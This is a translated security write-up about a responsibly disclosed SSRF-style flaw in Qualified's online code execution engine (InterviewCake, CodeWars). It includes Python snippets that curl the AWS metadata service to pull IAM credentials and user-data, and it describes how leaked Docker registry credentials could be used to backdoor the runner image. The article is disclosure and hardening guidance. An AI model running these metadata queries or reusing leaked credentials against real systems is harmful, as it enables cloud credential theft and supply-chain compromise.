译者:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
最近我正在忙一个小项目,研究如何在Docker容器中执行不受信任的Python代码。根据项目要求,我需要测试多个在线代码执行引擎,调研它们对各类攻击的反应。在调研过程中,我发现Qualified研发的代码执行引擎中存在几个非常有趣的漏洞,这个引擎使用范围非常广泛,包括CodeWars或者InterviewCake之类的网站都在使用这个引擎。代码运行引擎能够帮助人们以远程网络访问形式运行代码,并且其基础架构运行在Amazon Web服务中,结合这两点事实,我决定写篇文章来介绍我所发现的这些有趣的漏洞。
首先,我们向InterviewCake展示了我们在Qualified代码执行引擎中发现的多个漏洞(InterviewCake正是Qualified的某个客户)。然后,我们讨论了某个具体漏洞:依托AWS运行的某个服务中的SSRF(Server Side Request Forgery,服务端请求伪造)漏洞。我不会在这里过多介绍SSRF漏洞的基础概念及背景知识,因为网上已经有许多公开资料可以参考(查看这里、这里以及这里的资料)。如果用一句话概括,那就是攻击者可以利用SSRF漏洞,使某个应用程序代替攻击者发起网络连接行为。
备注1:对在线代码执行引擎而言,使用SSRF这个术语是否合适仍有争议,因为它本来就支持网络连接。然而,我仍然坚持使用这个术语,因为我所分析的这个漏洞适用于依托AWS运行的、存在SSRF漏洞的任意应用。
备注2:虽然我在本文中讨论的目标是InterviewCake,但他们本身并没有存在任何安全问题,并且我发现的这个漏洞很有可能不会对他们造成任何安全风险。
二、漏洞分析
如果你访问InterviewCake某个随机的提问页面,你可以在页面底部发现一个小区域,在此你能输入并执行代码。
我们可以跟踪Python中用来执行bash命令的代码:
import os
os.system("my command")
再深入跟踪一会儿,我们可以看到每次代码在执行时,主机名(hostname)都会发生变化,并且init进程会在某些控制组(control group,cgroups)下运行,如下所示:
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
...
根据这两点信息,我们可以判断,代码很有可能运行在Docker容器中。这个容器看上去能够访问互联网,我们可以使用公开的IfConfig.co服务得到容器的外部地址:
import os
os.system("curl ifconfig.co")
结果如下:
107.20.17.162
如果我们反查这个地址的DNS,我们可以发现这个IP地址属于AWS EC2:
$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.
熟悉EC2的人都知道,EC2服务与DigitalOcean类似,用户可以使用EC2服务在云端中创建并运行虚拟机。
三、漏洞利用
AWS EC2有个不常用到的功能,即实例元数据服务(Instance Metadata Service)功能(这也是官方文档中的称呼)。任何EC2实例都可以使用这个功能,访问运行在169.254.169.254这个IP地址上的REST API接口,返回关于这个实例的一些数据,某些返回数据中会包含如实例名、实例镜像(AMI)ID以及其他一些敏感信息。
根据前文分析,我们的代码很有可能运行在某个EC2实例上(更具体地说,是运行在EC2实例上的某个Docker容器中),因此代码能够访问这个API。让我们来试一下,通过这个API我们能得到什么信息。
import os
def get_endpoint(endpoint):
os.system("curl http:/169.254.169.254" + endpoint)
print()
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
print("[*] User script")
get_endpoint("/latest/user-data/")
我们得到的输出结果如下所示:
[*] AMI id
ami-246cc332
[*] Security credentials
ecsInstanceRole
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac
让我们来逐一分析一下这些字段。
3.1 AMI id
这是主机所使用的AMI(Amazon Machine Image)标识符,这个标识符看起来是个私有字段,不能提供更多信息。
3.2 Security credentials
这个字段包含主机所绑定的IAM角色列表。IAM(Identity Access Management)是AWS提供的一项功能,我们可以使用它来管理用户、角色以及权限。在输出结果中,我们看到主机只绑定了一个角色:ecsInstanceRole,因此我们可以使用Metadata API访问与这个服务绑定的凭证。这是一种安全机制,利用这个机制,用户不需要将AWS API密钥硬编码在应用代码中,就可以将角色绑定到主机上。我们可以使用API查询有关的凭证信息:
get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
输出结果为:
{
"Code" : "Success",
"LastUpdated" : "2017-03-26T09:59:42Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAIR[redacted]XQ",
"SecretAccessKey" : "42oRmJ[redacted]K2IRR",
"Token" : "FQoDYXdzEOv//////[redacted]",
"Expiration" : "2017-03-26T16:29:16Z"
}
获取这些凭证信息后,合法应用(或攻击者)可以使用AWS API执行ecsInstanceRole角色所允许的任何动作。ECS在这里指的是EC2 Container Service(EC2容器服务),它也是一项AWS服务,允许用户方便快捷地在云端运行Docker容器,也能提供用户正在运行的主机的摘要信息。
显然,现在我们关心的是,通过这些凭证我们能获取哪种程度的访问权限。如果我们深入研究一下AWS的官方文档,很容易就能发现ecsInstanceRole是一个默认的IAM角色,并且绑定了如下策略:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecs:CreateCluster",
"ecs:DeregisterContainerInstance",
"ecs:DiscoverPollEndpoint",
"ecs:Poll",
"ecs:RegisterContainerInstance",
"ecs:StartTelemetrySession",
"ecs:Submit*",
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*"
}
]
}
根据这些策略,我们可以做许多好玩的事情,包括创建ECS集群(cluster)、从某个集群中移除EC2实例、往应用日志中写入数据等。
3.3 User script
这个端点返回了用户自定义的一个脚本,每当新的EC2实例第一次运行时,这个脚本就会被运行。这类脚本通常用于对环境进行基本配置,比如安装更新包(package)、运行服务等,某些时候还可以用来存储敏感信息(虽然官方不推荐用户这么做)。
这个脚本中的比较有趣的部分内容如下:
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac
如上所示,脚本最后一行泄露了NewRelic的证书密钥。
脚本中第一条命令用来从ecs-conf S3存储桶(bucket)上下载一个配置文件。通过AWS命令行工具,我们发现即使我们无法列出存储桶的内容,也能够公开访问ecs.config这个文件。
root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
在这个文件中,auth参数经过base64编码,解码后为“codewarsdeploy:somepassword”(出于隐私保护,我们隐去了密码信息),我们可以利用这个信息登录到Qualified的私密Docker注册表中!
这意味着我们能够获取到Docker镜像codewars/runner-server,查看镜像内容,植入后门(或者恶意软件),并将镜像推回到注册表中。这样一来,每当Qualified的代码执行引擎运行一段代码时,我们的恶意代码就会被运行。换句话说,每当某人往InterviewCake上提交一个解答代码时,这类攻击就会发生。CodeWars也面临这类攻击的挑战。
四、总结
我向Qualified的Jake报告了这个问题,他的回答非常规范,并且漏洞在几天后就被修复了。
如果你正在AWS上运行应用,那么了解并理解Metadata API是一件必不可少的工作,因为你的应用中存在的任何SSRF漏洞都会导致巨大的后果。为了限制漏洞及安全风险,用户最好遵循以下几点原则;
1、不要在配置脚本中存储任何敏感信息(AWS称这种脚本为用户脚本)。
2、如果你的主机需要绑定某个IAM角色,那么请赋予它最少的权限。你可以使用IAM策略模拟器来确保主机具备的权限与你所设想的一致。
3、如果你没有使用Metadata API,那么你应该设置相应的防火墙策略,或者只允许root用户能够访问它(参考相应的iptables示例)。
如果你在HackerOne上查找,你可以发现已经有几个报告提到过类似的漏洞:#53088($300奖励)、#158016 ($50奖励)、#128685、以及#53088 ($1000奖励)。需要注意的是,这个问题并不是AWS所特有的,包括OpenStack以及Google云在内的云服务中也会存在类似问题。然而,Google要求对其元数据服务的所有请求中必须包含一个特定的HTTP头部,这意味着如果攻击者仅能控制请求的URL地址,而没有办法执行头部注入攻击的话,那么他们就无法访问Google的元数据服务。
五、参考资料
你可以参考以下资料了解更多信息。
1、RhinoLabs发表的关于AWS漏洞的一篇文章。
2、介绍EC2中安全风险较高的那些功能的一篇文章。
3、Metasploit的一个模块,可以用来收集被突破主机实例的一些元数据信息。